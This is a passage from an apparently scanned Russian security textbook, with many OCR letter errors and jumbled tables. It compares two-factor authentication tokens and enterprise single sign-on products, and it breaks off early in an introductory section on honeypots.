ролей, все они надежно хранятся в намяти токена. Все, что должен 
сделать нользователь, - нодключить токен к USВ-норту и набрать 
РIN-код. Таким образом осуществляется двухфакторная аутентифи-
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кация, когда доступ к информации можно получить, только обладая 
уникальным предметом ( токеном) и зная некоторую уникальную 
комбинацию символов (РIN-код).  

Ключ Rutoken является аналогом смарт-карты, но для работы с ним 
не требуется дополнительное оборудование (считыватель) ,  данные 
надежно хранятся в энергонезависимой памяти токена объемом до 
1 28 Кб, прочный корпус Rutoken устойчив к внешним воздействиям. 

Электронные идентификаторы обычно используются в комплексе 
с соответствующими нрограммно-аннаратными средствами. Rutoken 
поддерживает основные промышленные стандарты (см. технические 
характеристики), что позволяет без труда использовать токены в уже 
существующих системах безопасности информации. 

Rutoken разработан российскими компаниями �Актив� и �Анкад� 
с учетом современных требований к устройствам защиты информа
ции. Главным отличием Rutoken от зарубежных аналогов,  описан
ных ранее, является аппаратно реализованный российский стандарт 
шифрования - ГО СТ 28 1 47-89.  Комплект разработчика Rutoken 
(Rutoken Developer s Kit) ориентирован на разработчиков программ
ного обеспечения и системных интеграторов в области информаци
онной безопасности. Он позволяет ознакомиться с возможностями 
российских идентификаторов и содержит все необходимое, чтобы 
встроить поддержку Rutoken в собственные программные продукты 
и интегрировать Rutoken в уже существующие приложения. Полный 
набор программного обеспечения Rutoken поставляется только с ком
плектом разработчика. ПО Rutoken состоит из следующих компо
нентов: 

О собственные Cryptographic Service Provider и ICC Service 
Provider; 

О дополнительные интерфейсы ICC Service Provider для повы
шения удобства работы и для реализации дополнительных воз
можностей Rutoken; 

О сервисная библиотека С++ классов, предназначенная для об
легчения разработки приложений, использующих Rutoken; 

О утилита обслуживания Rutoken, отвечающая за создание объ
ектов файловой системы, назначение нрав доступа к объектам 
файловой системы, редактирование символьного имени токена, 
шифрование внешних данных внутри Rutoken; 

О утилита администрирования Rutoken, с помощью которой про
изводятся получение сведений о выбранном токене, инициа
лизация памяти Rutoken, изменение РIN-кодов пользователя 
и администратора, восстановление заблокированного РIN-кода; 
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О браузер сертификатов - нозволяет нроизводить нросмотр зани
санных на Rutoken контейнеров MS CAPI и хранящихся в них 
сертификатов Х.509, регистрацию сертификатов в личном хра
нилище сертификатов и удаление их из хранилища, имнорт 
сертификатов из PFX- и СЕR-файлов,  экснорт сертификатов 
в PFX- и СЕR-файлы, назначение/отмену контейнера но умол
чанию, удаление контейнеров вместе с их содержимым из намя
ти Rutoken, а также нримеры в исходных текстах; 

О драйверы для различных ОС;  
О набор инсталляторов для установки отдельных комнонентов 

ПО Rutoken на комньютеры конечных нользователей. 

Продукция Рутокен имеет большое количество различных серти
фикатов ФСТЭК и ФСБ.  

Цены на ключи Рутокен можно найти на сайте нроизводителя. 
В среднем один ключ стоит норядка тысячи рублей. 

Выводы 
Рассмотрев несколько решений но двухфакторной аутентификации, 
нонробуем сравнить их и сделать соответствующие выводы о целе
сообразности иснользования того или иного решения. 

fаблица 12. Сравнительная характеристика решений 

Н а име-
Налич ие Нал и ч ие 

NO нование а п паратного ге нератора 
Нал и ч ие се ртиф икатов 

решен и я идентиф и ка- одноразовых 
тора па роле й 

1 Aladd i n  Есть Есть Серти ф и кат Ф СТЭ К Росси и 
eToken № 1 883 . Может исполь -

зо ваться п р и  созда н и и  
а втомати з иро ван н ых систем 
до класса защи щен ности 1 Г 
в кл ю ч ител ьно  и ИСПДн до 
1 класса в кл юч и тел ьно 

2 RSA Secur l D Есть Есть Common  Crite ria .  И нформа-
ци и п о  нал и ч и ю  росс и й ских  
сертифи катов н а  сайте п р о-
из водителя нет 

3 Acti v l dentity Есть Есть И нформа ци и  по  налич и ю 
росси йских сертифи катов на  
сайте  п рои з водител я нет  
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Таблица 12. Сравнительная характеристика решений (окончание) 

Н а име-
Нали ч ие Нал и ч ие 

NO нование 
а п паратного ге нератора 

Нал и ч ие се ртиф икатов 
решени я 

идентиф и ка- одноразовых 
тора па роле й 

4 Рутокен Есть Есть Сертифи кат № СФ/ 1 24- 1 455 
ФСБ Росси и .  СКЗИ кл асса 
КС2  и может испол ьзо-
в аться дл я ш и ф ров а н и я  и 
имитоз а щиты и н формаци и ,  
н е  содержащей  сведе н и й ,  
соста вл я ю щ и х  госуда рствен -
ную та й ну .  Серти ф и каты 
Ф СТЭ К 

Исходя из нриведенных в таблице характеристик, можно дать 
следующие рекомендации. Если вам необходим аннаратный иден
тификатор, совмещенный с генератором одноразовых наролей, и нет 
жестких требований к сертификации ФСБ,  то лучшим решением 
будет иснользование решений но двухфакторной аутентификации 
от Aladdin. В случае если вы организация, работающая с гостайной, 
то о генерации одноразовых наролей можно не беснокоиться, а для 
аутентификации иснользовать решения Рутокен. Основными недо
статками решений от RSA и Activldentity является отсутствие рос
сийской сертификации. Это обстоятельство сильно снижает целевую 
аудиторию данных решений в России. Возможно, данные нродукты и 
обладают сертификатами ФСТЭ К (хотя на сайте ФСТЭ К сведений 
о сертификации нродуктов RSA или Activldentity мне найти не уда
лось) ,  в таком случае разработчикам следовало бы разместить данные 
сведения на своих сайтах. 

7. 6. З. Заключение 

Современным нодходом к нроблеме новышения безонасности нро
цесса аутентификации является технология многофакторной аутен
тификации, которая нреднолагает иснользование нескольких фак
торов нодтверждения нодлинности нользователя. На сегодняшний 
день, как нравило, иснользуются двухфакторные системы аутенти
фикации, в которых два фактора нреднолагают наличие некоторого 
средства аутентификации ( смарт-карты, USВ-токена и нрочего) и 
знание некоторого секрета для иснользования средства аутентифи
кации (РIN-кода). 



ОДНО КРАТНАЯ АУТЕНТИФИ КАЦИЯ 4 1 1 

Смарт-карты и токены также являются надежным средством ге
нерации и хранения ключей шифрования и электронной цифровой 
подписи, они содержат защищенный микропроцессор, позволяющий 
выполнять криптографические операции непосредственно внутри 
устройства. Использование данных средств дает возможность су
щественно повысить защищенность информационных ресурсов ор
ганизации. 

7. 7 . Одн ократная ауте нтиф и кация 
В современных корпоративных сетях используется большое коли
чество паролей. Пользователю для выполнения своих обязанностей 
зачастую может потребоваться до десятка учетных записей. Аккаунт 
в операционной системе, на почтовом сервере, в приложении, взаи
модействующем с базой данных, для удаленного доступа, в системе 
документооборота, на веб-нортале - вот далеко не полный список 
систем, для которых потребуются учетные записи. Конечно, многие 
приложения можно настроить на использование аутентификации 
Active Directory. Однако что делать тем компаниям, в которых не 
используется Active Directory или же присутствуют приложения, не 
поддерживающие аутентификацию в домене? Кроме того, при про
ведении аутентификации требуется обеспечить соответствие требо
ваниям информационной безопасности, например быть достаточно 
сложными для защиты от подбора. 

Следует отметить, что в таких условиях безопасность явно вступа
ет в противоречие с удобством использования: чем больше паролей и 
чем сложнее они, тем больше вероятности, что обычный пользователь 
найдет способ облегчить себе жизнь - приклеит стикер на монитор 
(особо продвинутые клеят на нижней стороне клавиатуры) или соз
даст список паролей в текстовом файле на рабочем столе Windows. 
Кроме того, нельзя недооценивать возможность умышленной или 
неумышленной передачи своих идентификационных данных другому 
лицу. Этот фактор особенно важен при наличии удаленного доступа 
к ресурсам компании из Интернета. Здесь стоит упомянуть раздел, 
посвященный средствам двухфакторной аутентификации, в котором 
рассмотрены решения, позволяющие усилить аутентификацию по
средством использования дополнительных аппаратных идентифи
каторов. 

Для выполнения требований безопасности и удобства работы поль
зователя применяют средства автоматизации - специализированные 
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системы однократной аутентификации (SSO - Single Sign-On, еди
ный вход), которые избавляют пользователя от необходимости ввода 
имени и пароля при доступе к различным приложениям. 

Немного о стоимости поддержания паролей 
Прежде чем начать обсуждать технические аспекты работы SSO,  не
много поговорим о стоимости обслуживания паролей. По данным 
аналитиков Forrester Research, любая компания ежегодно тратит 200 
долларов на каждого пользователя, занимаясь разрешением проблем, 
связанных с использованием пароля (наиболее распространенным 
ново дом для обрашения является смена пароля). 

В эти расходы входят затраты на службу поддержки пользовате
лей, стоимость администрирования информационных систем при 
добавлении пользователя, потерянное время сотрудника при набо
ре паролей, потерянное время при восстановлении забытого паро
ля и т.  д. Таким образом, затраты на поддержку десяти паролей для 
1 ООО пользователей но минимальной оценке выше 200 составляют 
1 000 х 10 х 40 = 400 000$ (четыреста тысяч долларов США). 

Администраторам, работающим в небольших компаниях, такая 
арифметика может показаться завышенной, однако вспомните, сколь
ко раз к вам обращались пользователи с вопросом �почему меня не 
пускают?� .  А теперь представьте, что у вас таких клиентов более 1 00, 
и у каждого в среднем один раз в месяц возникают проблемы с па
ролями. Решение подобной проблемы занимает в среднем от пяти до 
десяти минут. Таким образом, поддержка паролей для одного при
ложения для 1 00 пользователей будет занимать в среднем от полу
часа до часа в день. ( При расчете учитывались только рабочие дни 
в месяце. )  А если таких приложений десять? Тогда в нору отдельного 
специалиста нанимать, который будет только паролями и занимать
ся. Впрочем, как правило, делают но-другому: администратор Active 
Directory занимается проблемами, связанными с аутентификацией 
в домене, �почтовик� - проблемами с аутентификацией на почтовом 
сервере, администратор СУБД - проблемами, связанными с базой 
данных. Поэтому целый день проблемами с паролями никто не за
нимается, но каждый из специалистов тратит часть своего рабочего 
времени на их разрешение. Было бы очень неплохо автоматизиро
вать процесс управления паролями, это позволило бы существенно 
сэкономить. 

Таким образом, мы обосновали экономическую эффективность ис
пользования систем однократной аутентификации. 
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Взаимодействие с о  смежными системами 
Выше уже упоминалась стоимость обслуживания паролей. Для того 
чтобы снизить затраты на выполнение данной задачи, существует 
ряд систем, помимо SSO,  с которыми однократная аутентификация 
должна взаимодействовать. 

Во-первых, это система централизованного управления учетны
ми записями ( Identity Management System). Как уже упоминалось, 
пользователь в своей работе применяет аккаунт для аутентифика
ции в различных приложениях. Когда новый сотрудник приходит 
на работу, для него необходимо завести учетную запись в каталоге 
Active Directory, в почтовой системе, в базе данных, в бухгалтерских 
системах и т. д. Аналогично при увольнении все записи должны быть 
заблокированы. 

Работать с многочисленными аккаунтами вручную не всегда удоб
но, у соответствующих специалистов будет уходить на это слишком 
много времени. Системы Identity Management ( IdM) позволяют ав
томатизировать процесс создания учетных записей. Администратор 
создает аккаунт в каталоге (например, в AD ), затем приложения на
страиваются на получение данных из каталога. 

Но вернемся к теме раздела, к системам однократной аутентифика
ции. Взаимодействие SSO и Identity Management очень желательно. 
При создании или изменении аккаунта в IdM все изменения, свя
занные с паролями, должны автоматически ренлицироваться в SSO.  
Такая интеграция существенно увеличит эффективность работы обе
их систем. 

Интеграция SSO с системами двухфакторной аутентификации за
ключается, так же как и в IdM, в синхронизации сведений об учетных 
записях, в частности о применяемом методе аутентификации, исполь
зовании аппаратного идентификатора и т. д. 

7. 7. 1 .  Принципы работы однократной 
аутентификации 

Требования к SSO 

Требования к системе однократной аутентификации предъявляются 
не очень сложные, но здесь есть ряд нюансов. Прежде всего нам не
обходимо хранить пароли от различных приложений, при этом SSO 
должна уметь распознавать самостоятельно, в какое приложение пы
тается зайти пользователь, и �подставлять� в соответствующие ноля 
ввода учетные данные. 
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Совершенно очевидно, что тут возникает проблема нестандартных 
систем, тех, которые не поддерживаются системой SSO но умолча
нию. Соответственно, для таких приложений SSO не знает, где на
ходятся ноля ввода данных, и ее необходимо �обучить� ,  указав , где 
находится ноля Логин, Пароль. Это одна из основных трудностей, 
возникающих при внедрении SSO.  Еще нужно показать, как выгля
дит сообщение о неверном вводе пароля, а также различные систем
ные сообщения, связанные с аутентификацией (требование смены 
устаревшего пароля, несоответствие групповым политикам и т. д. ). 
Таким образом, система однократной аутентификации должна об
ладать набором инструментов,  необходимых для выполнения всех 
этих задач. 

Отдельно при сравнении решений рассматривается вопрос инте
грации с каталогом Active Directory. Дело в том, что для продуктов, 
интегрирующихся с AD, никаких проблем при работе SSO не возни
кает. В Active Directory создается один аккаунт. Сервисы при работе 
лишь запрашивают полномочия пользователя у AD для этой учетной 
записи. В случае же проблем с интеграцией с каталогом такая схема 
работы SSO становится невозможной, и это добавляет существенных 
трудностей с внедрением. 

Общие требования к управлению паролями 
Теперь рассмотрим требования к управлению паролями. Их можно 
сформулировать в следующем списке: 

О поддерживать отказ от ввода паролей вручную. Система позво
ляет пользователю не вводить информацию с клавиатуры. Все 
идентификационные данные диалоговой формы приложения 
заполняются автоматически, пользователю достаточно лишь 
один раз ввести пароль при входе в систему. Это снижает риск 
кражи пароля и повышает удобство пользователя при доступе 
к информационным системам; 

О возможность применения длинных и сложных паролей.  При 
использовании системы пользователь не должен вводить па
роль вручную, поэтому сам пароль может быть длиннее и 
сложнее, чем обычный пароль, который пользователь может 
запомнить; 

О интеграция с системой управления учетными записями Identity 
Management; 

О возможность применения строгой двухфакторной аутентифи
кации. Система позволяет использовать различные способы 
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для двухфакторной аутентификации пользователей - токены, 
смарт-карты, биометрию; 

О автоматизация хранения и обработки паролей. При интегра
ции с системами управления учетными записями и двухфак
торной аутентификации возможна полная автоматизация вы
дачи и использования паролей, без привлечения пользователя 
на всех этанах жизненного цикла идентификационной инфор
мации. Пользователь вводит пароль только при нервом входе 
в систему. 

7. i. З. Зактечение 

Выбираем решения для сравнения 
На сегодняшний день на рынке представлено большое количество 
продуктов однократной аутентификации. Для того чтобы не рассмат
ривать их все, нам необходимо отобрать несколько наиболее распро
страненных решений от разработчиков, занимающих лидирующее 
положение. Положение оценивается специалистами Gartner, которая 
является ведущей аналитической компанией в сфере информацион
ных технологий. Используя собственную методику исследования, 
компания публикует периодические отчеты Magic Quadrant, в кото
рых представляет лидеров отдельных направлений сферы ИТ. Для 
сопоставления технических решений использовался отчет Magic 
Quadrant for Enterprise Single Sign-On за 20 10  год (рис. 8 1 ) . 

На этом графике нас интересуют производители, указанные в верх
нем, нравом квадрате (leaders ) .  У этих разработчиков имеется успеш
ный опыт внедрения технического решения однократной аутентифи
кации на промышленных предприятиях. Кроме того, немаловажными 
являются следующие факторы: 

О масштабируемость технического решения при внедрении в 
компаниях и на предприятиях с разветвленной и гетерогенной 
информационной средой. Оценить данную возможность можно 
но наличию документации к техническому решению; 

О наличие дистрибьюторов на территории Российской Федера
ции, системы поддержки и сопровождения продукта на этанах 
предварительного тестирования, внедрения и эксплуатации. 
Этот критерий имеет достаточно большое значение, так как 
эксплуатировать подобные системы без поддержки крайне за
труднительно ; 
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О универсальность с точки зрения ноддержки клиентских нри
ложений и наиболее иснользуемых инфраструктурных в кор
норативных информационных системах. 

Как видно из «магического квадрата>,>, интерес для нас могут нред-
ставлять следующие решения: 

О Novell SecureLogin комнании Novell, Inc . ;  
О Citrix Password Manager комнании Citrix Systems, Inc ; 
О СА Single Sign-On; 
О OneSign Single Sign-On комнании Imprivata, Inc . ;  
О Secure Login SSO комнании Activldentity, Inc. 

Перейдем к более нодробному рассмотрению выбранных решений. 

Novell SecиreLogiп компании Novell, /пс. 
Программный накет SecureLogin является SSО-решением, входящим 
в состав Novell Identity and Access Management. Применение Secure 
Login дает возможность унростить нроцесс работы нользователей 
с электронной ночтой, веб-ресурсами, базами данных и другими си-
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стемами. По умолчанию поддерживаются следующие службы ката
лога, используемые в качестве хранилищ учетных записей: Microsoft 
Active Directory и Novell eDirectory. Но тут следует сразу сделать 
небольшое напоминание о том, что разработчиком этого продукта яв
ляется компания Novell, и, соответственно, наилучший функционал 
но хранению паролей реализован именно под eDirectory. 

На сайте novell.com приведен список систем, которые можно под
ключить к N ovell SecureLogin. В нем отсутствует, например, такая 
распространенная система электронной почты и документооборота, 
как Lotus Domino. По собственному опыту знаю, что поддержка дан
ной системы является очень важным преимуществом при выборе 
системы SSO.  Конечно, но заверениям разработчиков, можно под
ключить практически любое приложение, но отсутствие клиентов 
Lotus в списке но умолчанию несколько настораживает. 

Однако вернемся к характеристикам решения. Для обеспечения 
безопасности конфиденциальных пользовательских данных ис 
пользуются современные алгоритмы шифрования, такие как Triple 
D E S  и AES,  обеспечивающие защиту пользовательских учетных 
данных. 

Стоит также отметить, что но сути техническое решение является 
модификацией продукта Secure Login SSO компании Activldentity, 
Inc. ,  о котором речь пойдет чуть ниже. 

Citrix Password Maпager компании Citrix Systems, /пс. 
Citrix Password Manager является частью программных комплексов 
Citrix Access Suite и IВМ Тivoli/Citrix Identity and Access Management 
Suite. Продукт в значительной степени ориентирован на работу 
с платформами Citrix MetaFrame ( MetaFrameXPTM, MetaFrameTM 
1 .8  и т. д .) .  

Данный программный продукт позволяет внедрить средства од
нократной регистрации, используемые при предоставлении доступа 
к программам Windows, веб-нриложениям, корпоративным системам, 
и поставляется в виде отдельного решения или в составе комплексных 
систем Citrix. Помимо стандартного функционала SSO,  о котором мы 
уже говорили ранее, Password Manager обеспечивает автоматическое 
подключение к защищенным информационным ресурсам, отвечает 
за внедрение политик использования паролей, проводит мониторинг 
событий, а также автоматизирует выполнение различных операций 
конечным пользователем (включая смену пароля) .  Решение от Citrix 
предоставляет администраторам возможность централизованного 
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управления паролями. Если пользователь покидает организацию, 
администратор может аннулировать предоставленный ему доступ 
к приложениям. Для этого достаточно удалить первичную запись, 
используемую для входа в систему, остальное система SSO сделает 
самостоятельно. 

В предварительной конфигурации Password Manager предпола
гает поддержку более 20 эмуляторов терминалов. Решение поддер
живает все версии браузера Microsoft Internet Explorer, начиная от 
версии 5 .5 ,  а также позволяет предоставить доступ практически ко 
всем веб-сайтам и сетевым приложениям, доступным из окна брау
зера. Password Manager не требует наличия Citrix Presentation Server, 
поэтому средства однократной регистрации могут применяться для 
предоставления доступа к приложениям, работающим как в среде 
Citrix, так и за ее пределами. 

Access Suite - это универсальная платформа, позволяющая предо
ставлять защищенный доступ к информационным ресурсам из лю
бой точки мира, с любого устройства, но любым каналам связи .  
Пакет Access Suite, в состав которого вошли другие решения Citrix 
Presentation Server, Citrix Access Gateway и Citrix Password Manager, 
позволяет предоставить постоянный защищенный доступ к инфор
мации любого тина. Объединив функциональные возможности этих 
продуктов, администраторы смогут централизовать процесс управле
ния доступом и сформировать единую масштабируемую платформу, 
которая способна адаптироваться к росту организации и другим ор
ганизационным изменениям и может быть задействована в тысячах 
различных сценариев предоставления доступа. 

СА Single Sign-On 

Данное решение использует LDАР-каталог собственной разработ
ки, что не позволяет произвести полноценную интеграцию с Active 
Directory и значительно усложняет внедрение и эксплуатацию ре
шения. Отсутствие полноценного взаимодействия с Active Directory 
делает практически невозможным внедрение решения в сложных, 
доменных структурах AD. Данный продукт может быть полезен для 
тех, кто строит систему с нуля на базе решений СА. 

СА SiteMinder и СА Single Sign-On являются составными частями 
продукта СА Identity and Access Management Suite , предоставляю
щего администраторам полные и функциональные возможности 
управления идентификацией и доступом, в частности имеется набор 
средств для подключения новых приложений к системе SSO.  
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С А  SiteMinder нредоставляет администраторам средство для 
унравления идентификацией и достуном ко всем внутренним и внеш
ним ресурсам сети. СА Single Sign-On дает возможность осуществ
лять унрощенный достун конечных нользователей к нриложениям, 
базам данных и нриложениям клиент/сервер. 

В целом данное решение является комнлексным, включающим 
в себя не только систему однократной аутентификации, но и центра
лизованную инфраструктуру унравления идентификацией нользова
телей. Основным недостатком данного нродукта является отсутствие 
ноддержки Active Directory. 

lmprivata Single Sign-On 

Устройства Imprivata обеснечивают безонасность достуна сотрудни
ков к ПК, корноративным сетевым ресурсам, нриложениям и базам 
данных. 

В отличие от других нродуктов,  Imprivata нредставляет собой 
аннаратное решение. То есть на нользовательских рабочих местах 
разворачивается клиентское нрограммное обеснечение, которое на
страивается на раснознавание сообщений от системы о вводе нароля. 
Сами же учетные данные хранятся на устройстве. Система хорошо 
интегрируется в каталог Active Directory. 

Imprivata SSO умеет раснознавать О С  Windows (как клиентские, 
так и сер верные) и ряд нриложений - ночтовую систему Lotus 
Domino , СУБД Oracle, MS SQL, различные веб-нрограммы (на
нример, корноративный веб-нортал, личный кабинет нользовате
ля) .  В случае если необходимо развернуть SSO в системе, которая 
неизвестна устройству Imprivata, нредусмотрены инструменты, но
зволяющие обучить систему раснознавать форму ввода нароля и 
сообщения, выдаваемые нри неверном вводе нароля. К чести реше
ния Imprivata следует отнести тот факт, что оно без особого труда 
смогло «нодружиться�> с нриложением для кадрового учета на базе 
российского 1 С версии 8. 

Устройства Imprivata нолу
чили множество наград и наи
высших оценок от сотен отрас
левых изданий и аналитиков . 
С нродуктами Imprivata работа
ют более 200 нартнеров и ресел
леров во всем мире (рис. 82) .  

Рие. 82. Внешннн внд устройства 
lmprivata 
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Activldentity SecиreLogin SSO 

В завершение приведу описание сертифицированного ФСТЭ К в Рос
сии решения но однократной аутентификации, разработанного ком
паниями Rainbow Technologies и �Актив� .  

Система Activldentity SecureLogin SSO - это корпоративная систе
ма однократной аутентификации. Решение использует скринтовый 
язык, при помощи которого можно выполнить интеграцию с любыми 
приложениями но требуемому сценарию без внесения дополнитель
ных изменений в сами приложения. Взаимодействие со службами 
каталога, в частности с AD, делает возможным выполнение централи
зованной настройки. Отсутствие серверной составляющей позволяет 
сократить издержки на управление и резервирование соответствую
щих �серверных� элементов. 

В решении Active Identity хорошо реализована интеграция с дру
гими системами аутентификации. В частности, аппаратный иден
тификатор Рутокен дает возможность заменить парольный доступ 
к ключевой информации на более современную и надежную двух
факторную аутентификацию. 

Сравнение решений 
Как видно , для однократной аутентификации каждое из решений 
имеет специфичные области применения. В частности, некоторые из 
них не используют каталог Active Directory, другие хорошо интегри
руются с системами двухфакторной аутентификации. 

Сравнение мы будем проводить но нескольким критериям: 

О взаимодействие с каталогом Active Directory; 
О наличие возможности для подключения к системе не поддер-

живаемых изначально приложений; 
О взаимодействие с другими системами аутентификации ; 
О реализация решения (нрограммная/аннаратно-нрограммная) .  

Реализация решения, то есть чем оно является - устройством 
с устанавливаемыми агентами или только программным обеспече
нием, имеет большое значение при крупных, промышленных внед
рениях, когда имеются жесткие требования но производительности, 
масштабируемости и отказоустойчивости. 

В списке критериев отсутствует информация о стоимости реше
ния. Причин этому несколько. Прежде всего не все компании-раз 
работчики и и х  дистрибьюторы размещают в открытом доступе даже 
очень примерную стоимость решения. Также большое значение имеет 
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стоимость внедрения системы однократной аутентификации, так как 
зачастую она существенно нревышает затраты на нриобретение ли
цензий и аннаратного обеснечения. Поэтому стоимость внедрения 
SSO онределяется каждый раз индивидуально, в зависимости от за
казчика и масштабов внедрения. 

Сравнение характеристик решений однократной аутентификации 
но требованиям нредставлено в сводной таблице. 

fаблица 13. Сравнение характеристик решений SSO 

Н а зва ние 
ре ш ен ия 

O n e  S i g n  
S i ng l e  S i g n -On  
компа н и и 
l m p rivata , l n c .  

Реал и 
зовано  

2 Secure Log i п  SSO Реали -
компа н и и зова  но  
Activ l d e ntity , l n c .  

3 N ove l l  Secu re 
Log in  компани и  
N ove l l ,  l n c .  

Реал и 
зовано  
о гр а н и 
ч е н н о  

Имеется 
набо р  
и н струмен
тов SDK  

Имеется 

Реал изуется 
до пол н ител ьно  

Реал изовано  
скри птов ы й  в заимодейст в ие  
я з ы к  с а п п а ратн ыми 

идентифи ка
торами Рутокен 

Имеется Реал изуется 
до пол н ител ьно 

4 СА S ing le  S ig п-O n Отсутст- Имеется 
вует 

Реал изовано  
в заимоде й ствие  
с решением 
СА Si teM i nde r  

П рограммно
а п паратная 

П р ограммная  

П р ограммная 

П р ограммная 

5 Citr ix P ass
word Manage r  
комп а н и и  Citr ix 
Systems ,  l n c .  

Реал и 
зовано  

Реал и 
зовано 

Реал изуется П р о граммная 
допол н ител ьно 

Итоги сравнения производителей 
В настоящем разделе нриведены краткие выводы но наиболее значи
мым нреимуществам и недостаткам технических решений однократ-



422 СРЕДСТВА ЗАЩ ИТЫ 

ной аутентификации. Начать необходимо с интеграции с каталогом 
Active Directory. Почему я все время заостряю внимание на наличие 
каталога AD? Дело в том, что LDАР-каталог, одной из разновидно
стей которого выступает Active Directory, является основополага
ющим элементом системы аутентификации в корпоративной сети, 
который отвечает за хранение учетных данных пользователей. По
этому взаимодействие с ним для системы однократной аутентифика
ции имеет большое значение. Решения от Novell и СА либо вовсе не 
взаимодействуют с AD, либо взаимодействуют ограниченно. В связи 
с этим использование данных продуктов в сетях с развернутой инфра
структурой Active Directory крайне нежелательно. Однако у каждого 
из этих двух решений есть свои преимущества. Novell Secure Login 
можно применять в сетях, где развернута инфраструктура N ovell 
eDirectory, так как оба продукта разработаны одной компанией, и 
у них не должно быть проблем с интеграцией. СА Single Sign-On 
использует LDАР-каталог собственной разработки, соответственно, 
его можно эффективно применять в сетях, не имеющих собственной 
LD АР-инфраструктуры. 

Далее, что касается остальных решений. Citrix Password Manager 
хорошо применять в сетях, где развернуты другие продукты Citrix, 
в особенности предоставляющие удаленный доступ к приложениям. 
Продукт Activeldentity Secure Login в паре с Рутокен можно исполь
зовать в организациях, где предъявляются требования к наличию 
сертификатов регуляторов. 

Решение One Sign Single Sign-On от Imprivata является наиболее 
универсальным, которое проще всего интегрировать в корпоративную 
сеть. Наличие хорошо документированного SDK позволяет подклю
чать практически любые приложения. С помощью нрограммно-анна
ратной реализации можно без лишних трудностей развернуть отказо
устойчивую конфигурацию. Таким образом, Imprivata One Sign можно 
считать лидером среди решений но однократной аутентификации. 

7 . 8 . H oney pot - ловуш ка для ха ке ра 
Говоря о средствах защиты корпоративных ресурсов, нельзя не упо
мянуть о Honeypot, так называемых �горшочках с медом�, приман
ках, позволяющих изучить методы, используемые взломщиками , 
и постараться улучшить систему защиты корпоративных ресурсов. 

С точки зрения обеспечения информационной безопасности, хо
роши все средства, особенно сегодня - с повсеместным раснростра-
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пением широкополосного интернет-доступа. Казалось бы, можно 
применить самые совершенные средства аутентификации и крин
тования, отгородиться мощным межсетевым экраном, но одна ма
ленькая оплошность в ответственной программе способна свести на 
нет все усилия, предоставив квалифицированному злоумышленнику 
возможность задействовать эту оплошность в своих целях и в конце 
концов получить несанкционированные нрава доступа. 

Достаточно долго в этом противостоянии специалисты но безопас
ности могли лишь реагировать на результаты попыток взлома. У них 
не было возможности предугадывать действия злоумышленников, 
действовать на опережение. Это полный аналог шахмат, где партия 
способна длиться сколь угодно долго: за это время компания может 
понести колоссальные убытки. Оказалось, что практически всегда 
у хакера есть возможность адекватно отреагировать на защитные 
меры. А потому потенциально страдающая сторона, дабы минимизи
ровать риск вторжения, обязана играть на опережение. 

Один из методов, позволяющий осуществить эту идею, называется 
Honeypot (от англ.  - �горшочек с медом� ) .  Фактически Honeypot 
представляет собой приманку, на которую в случае удачи и высо
кого фактора достоверности попадется злоумышленник. Задача 
Honeypot - подвергнуться атаке или несанкционированному иссле
дованию, что позволит изучить стратегию злоумышленника и опре
делить круг средств , с помощью которых могут быть нанесены удары 
но реальным объектам безопасности. Реализация Honeypot не прин
ципиальна, это может быть как специальный выделенный сервер, так 
и один сетевой сервис, задача которого - привлечь внимание хакеров. 

7.8. 1 .  Принципы работы 

Honeypot кардинально отличается от всех разработок в сфере 
безопасности. Как правило, все продукты на данном рынке призва
ны решать строго определенную функцию (не важно, об аппаратном 
или программном обеспечении идет речь) :  межсетевой экран решает 
задачи разграничения доступа из одной сети в другую на различных 
уровнях, сервис SSH предназначен для шифрованного доступа к ре
сурсам операционной системы и т. д. Технология Honeypot не пред
назначена для решения конкретной задачи, а представляет собой 
целую философию - гибкую, настраиваемую в соответствии с по
ставленной целью. Как можно догадаться, это не формализованный 
продукт или технология, а своего рода инструмент, примерно как 
микроскоп в руках биолога. 
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Honeypot обеспечивает специалистам в области безопасности до
статочно весомые преимущества. В первую очередь это сбор необхо
димой информации, зачастую содержащей ценные сведения. Развер
тывание и эксплуатация �живца� не представляют особой трудности, 
также и средства Honeypot, как правило, не требовательны к систем
ным ресурсам. 

Огромное количество существующих на рынке продуктов имеют 
развитые встроенные механизмы сбора и анализа информации, касаю
щейся безопасности (в основном на уровне журналов) .  При желании 
сетевой администратор способен отследить события в хронологиче
ском порядке и узнать, что же происходило на определенном участке 
инфраструктуры в Х часов У минут Z секунд. Однако нельзя отри
цать, что вычленение необходимых сведений нередко бывает доволь
но сложным, ведь приходится просматривать огромные лог-файлы, 
чтобы узнать, когда, где и как обнаружилась подозрительная несанк
ционированная активность. С этой точки зрения средства Honeypot 
выглядят практически идеально: информации собирается немного, но 
вся она представляет большую ценность, ведь именно такие сведения 
раскрывают суть попытки взлома, сканирования или исследования. 

Поскольку Honeypot изначально @абрасывается� для атаки и ис
следований, можно предположить, что практически вся снятая с ло
вушки информация отражает действия именно злоумышленников. 
На ее основе можно провести анализ, построить статистику методов, 
использующихся хакерами, а также определить наличие каких-либо 
новых решений, применяющихся взломщиками. Неразумно было бы 
подставлять под удар реальный участок сетевой инфраструктуры -
ведь на основе информации от Honeypot можно оперативно внести 
коррективы в конфигурацию, например production-cepвepa. 

Один из наиболее щекотливых моментов, связанных с Honeypot, 
заключается в наглядности метода. Допустим, на этане проектиро
вания и развертывания инфраструктуры компания ответственно от
неслась к вопросам обеспечения безопасности: были инсталлированы 
и должным образом настроены межсетевые экраны, средства аутен
тификации, шифрования и т. д. Потом, как правило, наступает этан 
успокоения: �нас нельзя взломать, мы вложили огромные средства и 
имеем дело только с лучшими продуктами�, а затем - этан недоволь
ства, ведь если руководство не видит эффекта, то обычно возникают 
мысли о напрасно потраченных деньгах. Honeypot способен наглядно 
показать наличие большой опасности - она никуда не исчезла, разве 
что временно находится @а дверью�, но никто не даст гарантии, что 
через час межсетевой экран и все прочие средства защиты не будут 



HONEYPOT - ЛОВУШ КА ДЛЯ ХАКЕРА 425 

нреодолены: достаточно всномнить о случаях нроникновения в сети 
NASA или военного ведомства США. 

Особо следует остановиться на инсталляции и экснлуатации 
Honeypot. Как нравило, весь комнлекс меронриятий сводится к «уста
новить и ждать:?. Наиболее раснространен случай с выделенным серве
ром, находящимся нод контролем снециалистов. На сегодняшний день 
имеется множество нрограмм-нодделок, которые нроизводят внечатле
ние настоящих, но не являются таковыми, их основная задача - нро
токолировать весь обмен. Преимущество Honeypot - в том, что конию 
ПО можно сделать на морально устаревшем сервере, не снравляющем
ся с тиничными вычислительными задачами электронного бизнеса. 

Для того чтобы уяснить ценность ловушек, нримем во внима
